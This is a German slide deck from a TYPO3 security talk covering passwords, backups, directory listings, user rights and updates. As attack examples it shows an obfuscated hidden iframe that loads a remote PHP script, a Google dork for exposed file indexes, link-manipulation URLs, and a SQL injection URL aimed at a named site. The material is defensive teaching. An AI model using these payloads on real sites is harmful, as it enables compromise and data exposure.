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TYPO3 ist zwar relativ sicher...
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aber ...
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aber ...

• TYPO3 kann man nicht "installieren und 
vergessen"
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aber ...

• TYPO3 kann man nicht "installieren und 
vergessen"

• TYPO3 erfordert regelmäßige Wartung und 
Updates
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Sichere Kennwörter

• mindestens 9 Zeichen 

• Groß-/Kleinschreibung, Zahlen, 
Sonderzeichen

• Unterschiedliche Kennwörter für 
verschiedene Anwendungen

• Regelmäßig ändern

• Speicherung als md5 Hash, aber...
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md5.rednoize.com
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md5.rednoize.com
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md5 Hash Datenbank
zu verkaufen...
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Datensicherung
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Datensicherung
• Regelmäßig und automatisiert (cronjob)
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Datensicherung
• Regelmäßig und automatisiert (cronjob)

• Verzeichnisse: fileadmin, typo3conf, uploads

• Datenbank: mysqldump --opt > filename

• Nicht nur für die letzten ein, zwei Tage

• Sicherung auf externes Medium

• Überprüfen!

• Nicht innerhalb von DOCROOT speichern
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Testen, ob

www.domain.com/../system/
nicht doch möglich
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Directory Listing 
ausschalten
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Directory Listing 
ausschalten

• in httpd.conf ändern:
Options All Indexes FollowSymLinks 
in 
Options All FollowSymLinks

• Google Suche

intitle:"index of" "last modified" size
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database.sql
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md5.rednoize.com
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Backend Benutzer
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Backend Benutzer
• Redakteure sollten NIEMALS admin-Rechte 

haben

• Liste der Backend User regelmäßig prüfen

• Temporäre Redakteure (Studenten, 
Zeitarbeiter):  Verfalldatum setzen
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FTP Zugänge
• Startverzeichnis setzen: 

zum Beispiel: fileadmin/user_upload/...
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Wenn es passiert...
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Wenn es passiert...
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• „ ...für die Forum-Software gab es vor neun 
Tagen ein Sicherheitsupdate. 
Die Angreifer bekamen Kenntnis von der 
Sicherheitslücke und verwendeten eine 
Internet-Suche um verwundbare Foren zu 
finden, um deren Startseite mit ihrem 
'Gruß' zu versehen.“
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iframe Angriffe
<iframe 

src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;
&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;

&#104;&#107;&#46;&#99;&#111;&#109;&#47;
&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;
&#50;&#46;&#112;&#104;&#112;' width=1 height=1>

</iframe>
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Link Manipulation

• www.domain.com/
index.php&L=2&www.badsite.com

• Wertebereich für linkVars einschränken:

config.linkVars = L(0-4)

Sonntag, 12. September 2010

http://www.domain.com/index.php&L=2&www.badsite.com
http://www.domain.com/index.php&L=2&www.badsite.com
http://www.domain.com/index.php&L=2&www.badsite.com
http://www.domain.com/index.php&L=2&www.badsite.com


XSS
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SQL Injection
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http://www.rg-bx.it/newslesen.php?id=1337%20union
%20select%20%22Gr%C3%BC%C3%9Fe%20vom

%2025C3%22,%22%3Cimg%20src=http://events.ccc.de/
congress/2008/wiki/images/6/67/25C3-logo.png%3E

%22,5,23
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Regelmäßige Updates

• TYPO3 Quellcode

• TYPO3 Extensions

• TYPO3 Tools

• PHP

• Server Betriebssystem
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Weitere Informationen

• TYPO3 Security Cookbook
typo3.org/teams/security/

• "TYPO3 Announce" Mailingliste 
lists.typo3.org
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jweiland.net/t3cm10
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